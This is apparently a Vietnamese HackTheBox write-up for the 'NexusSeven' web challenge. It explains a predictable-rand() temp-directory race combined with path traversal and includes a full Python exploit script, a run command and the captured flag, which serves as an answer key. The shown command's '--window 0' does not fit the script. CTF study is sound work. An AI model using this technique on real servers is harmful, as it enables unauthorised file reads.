# HackTheBox - NexusSeven
## Category: Web
## Level: Easy
### Exploitation
- Đây là một challenge được viết bằng C
- Dựa vào source code, có thể suy ra các điểm chính như sau:
- Khi user truy cập đến 1 file được phép (`.txt`, `.html`,...), hệ thống sẽ tạo ra một file tạm để lưu trữ request và response
- Ngay sau khi có `response`, `response` sẽ được ghi vào file tạm và hệ thống sẽ xóa file tạm đó sau khi response tới được user
```C
void *handle_client(void *arg)
{
int client_fd = *(int *)arg;
ctx_t *ctx = (ctx_t *)calloc(1, sizeof(ctx_t));
size_t total_received = 0;
...
build_stats_dir_name(base, stats_dir_path, sizeof(stats_dir_path));
if (mkdir(stats_dir_path, 0700) == 0)
stats_dir_created = true;
if (stats_dir_created)
write_request_stats(ctx, stats_dir_path, client_fd);
if (!extension_is_allowed(ctx) || strstr("..", ctx->filepath) != NULL) {
build_bad_http_response(ctx);
} else {
build_http_response(ctx);
}
if (stats_dir_created)
write_request_stats(ctx, stats_dir_path, client_fd);
} else {
build_bad_http_response(ctx);
}
} else {
build_bad_http_response(ctx);
}
...
send(client_fd, ctx->response, hdr_len, 0);
send(client_fd, extra, extra_len, 0);
send(client_fd, body, body_len, 0);
} else {
send(client_fd, ctx->response, strlen(ctx->response), 0);
}
char discard;
while (recv(client_fd, &discard, 1, 0) > 0) {}
cleanup:
if (stats_dir_created)
remove_stats_dir(stats_dir_path);
close(client_fd);
free(arg);
free(ctx);
return NULL;
}
```
- Ngoài ra, hệ thống còn triển khai các biện pháp để tránh trường hợp `Path Traversal`
```C
void cleanup_filepath(ctx_t *ctx)
{
while (strlen(ctx->filepath) && ctx->filepath[0] == '/') {
memmove(ctx->filepath, ctx->filepath+1, strlen(ctx->filepath));
}
for (size_t i = 0; i < strlen(ctx->filepath); ++i) {
if (ctx->filepath[i] == '.' || ctx->filepath[i] == '/' \
|| ctx->filepath[i] == '-' || ctx->filepath[i] == '_' \
|| isalnum(ctx->filepath[i])) continue;
strcpy(ctx->filepath, DEFAULT_ROUTE);
ctx->filepath[strlen(DEFAULT_ROUTE)] = '\0';
break;
}
}
```
- Tuy nhiên, điểm mấu chốt của challenge nằm ở cách tạo file tạm thời
```C
#define RANDOM_SUFFIX_LEN 8
...
static void random_hex(char *out, size_t len) {
for (size_t i = 0; i < len; ++i) {
uint8_t byte = rand() & 0xFF;
sprintf(out + (i * 2), "%02x", byte);
}
out[len * 2] = '\0';
}
static void build_stats_dir_name(const char *filename, char *out, size_t out_size) {
char suffix[RANDOM_SUFFIX_LEN * 2 + 1];
random_hex(suffix, RANDOM_SUFFIX_LEN);
snprintf(out, out_size, "%s/%s_%s", STATS_ROOT_DIR, suffix, filename);
}
```
- Tên file tạm là một chuỗi hex với độ dài `17` được thêm vào trước tên file mà user truy cập, và đặt trong /stats
- Tuy nhiên, điểm yếu của hệ thống là cho phép suffix quá dễ đoán
```C
int main(int argc, const char **argv)
{
srand(0);
ensure_stats_root_created();
...
}
```
-> Suffix có thể dự đoán được, và không thay đổi
- Từ những thông tin trên, có thể suy đoán được cách tấn công là kết hợp giữa `Race Condition` và `Path Traversal` (đọc file nhạy cảm khi file tạm chưa kịp xóa). Mặc dù hệ thống đã triển khai ngăn chặn `Path traversal`, nhưng không hoàn toàn chặn được lỗ hổng này (chỉ cần Path traversal đằng sau file tạm)
- Mô tả tấn công:
- Dự đoán suffix của hệ thống
- User truy cập 1 file hợp lệ (`filename`), sau đó đồng thời truy cập `/stats/{suffix}_filename`
- Thu được flag từ file tạm, trước khi nó bị xóa
- Script (Nguồn: [Here](https://github.com/0xMineGo800m/hackem/blob/fbf28e0853f4b3a51c66aab953e75d5c6a89b97f/HackTheBox/Challenges/Web/NexusSeven/solver.py)):
```Python
#!/usr/bin/env python3
import argparse, ctypes, os, socket, sys, threading, time, http.client
def predict_suffixes(start_index: int, count: int):
"""
Generate `count` successive stats suffixes starting from directory index `start_index`,
using the *real* C srand(0)/rand() via libc. Each suffix = 8 rand() bytes -> 16 hex chars.
"""
# load libc and set prototypes
if sys.platform.startswith("linux"):
libc_name = "libc.so.6"
elif sys.platform == "darwin":
libc_name = "libc.dylib"
else:
raise RuntimeError("Unsupported OS for libc rand().")
libc = ctypes.CDLL(libc_name)
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int
libc.srand(0)
# Fast-forward to start_index (each dir consumes 8 rand() calls)
burn = start_index * 8
for _ in range(burn):
libc.rand()
# Produce `count` suffixes
out = []
for _ in range(count):
bytes8 = []
for _ in range(8):
r = libc.rand()
b = r & 0xFF
bytes8.append(f"{b:02x}")
out.append("".join(bytes8))
return out
def keepalive_holder(host: str, port: int, probe: str, ready_evt: threading.Event):
"""
Open a raw TCP socket, send GET /<probe>.txt with Connection: keep-alive, then *do nothing*.
This keeps the server’s stats dir on disk until the socket is closed.
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
req = (
f"GET /{probe}.txt HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode("ascii")
s.sendall(req)
# We could read the response headers/body, but it's not necessary.
ready_evt.set()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
pass
finally:
try: s.shutdown(socket.SHUT_RDWR)
except Exception: pass
s.close()
def http_get_raw(host: str, port: int, path: str, timeout: float = 3.0):
"""
Issue a raw HTTP/1.1 GET with the path sent *exactly as provided* (no normalization).
"""
conn = http.client.HTTPConnection(host, port, timeout=timeout)
# http.client leaves the path untouched; that’s what we want.
conn.putrequest("GET", path, skip_host=True, skip_accept_encoding=True)
conn.putheader("Host", f"{host}:{port}")
conn.putheader("Connection", "close")
conn.endheaders()
resp = conn.getresponse()
body = resp.read()
conn.close()
return resp.status, resp.reason, body
def main():
ap = argparse.ArgumentParser(description="Stats-dir traversal exploit (local & remote).")
ap.add_argument("--base", default="127.0.0.1:1337", help="host:port (default: 127.0.0.1:1337)")
ap.add_argument("--probe", default="probe", help="basename for probe (creates <probe>.txt)")
ap.add_argument("--index", type=int, default=0, help="dir index to try first (0 after fresh start)")
ap.add_argument("--window", type=int, default=1, help="number of successive indices to try")
ap.add_argument("--depth", type=int, default=3, help="number of ../ to climb (3 is /app -> /)")
ap.add_argument("--target", default="/flag.txt", help="target file after traversal")
ap.add_argument("--verbose", action="store_true")
args = ap.parse_args()
host, port_str = args.base.split(":")
port = int(port_str)
# 1) Start holder thread to keep stats dir alive
holder_ready = threading.Event()
t = threading.Thread(target=keepalive_holder, args=(host, port, args.probe, holder_ready), daemon=True)
t.start()
holder_ready.wait(2.0) # give it a moment to send the request
# 2) Predict candidate suffixes (from real libc rand)
suffixes = predict_suffixes(args.index, args.window)
# 3) Try each candidate
traversal = "/".join([".."] * args.depth)
if traversal: traversal += "/"
for i, suf in enumerate(suffixes):
trial_index = args.index + i
path = f"/stats/{suf}_{args.probe}.txt/{traversal}{args.target.lstrip('/')}"
if args.verbose:
print(f"[*] Trying index={trial_index} suffix={suf} path={path}")
try:
status, reason, body = http_get_raw(host, port, path, timeout=4.0)
except Exception as e:
if args.verbose:
print(f"[!] Request failed: {e}")
continue
if args.verbose:
print(f"[+] {status} {reason}")
if status == 200 and body:
print("===== FLAG =====")
try:
sys.stdout.write(body.decode("utf-8", errors="replace"))
except Exception:
sys.stdout.buffer.write(body)
print("\n================")
return
# keep going on 400/404/etc.
print("[-] No hit in window. Try increasing --index/--window, and keep the holder running longer.")
print(" Tip: if server just started, use --index 0 --window 1.")
if __name__ == "__main__":
main()
```
- Thực thi:
```
python script.py --base [IP:PORT] --index 0 --window 0
```
- Lưu ý: Nên restart lại challenge trước khi thực thi để đảm bảo suffix chính xác

### Result
```
HTB{the_m0r3_th3_c4llz_th3_mor3_the_hol3z}
```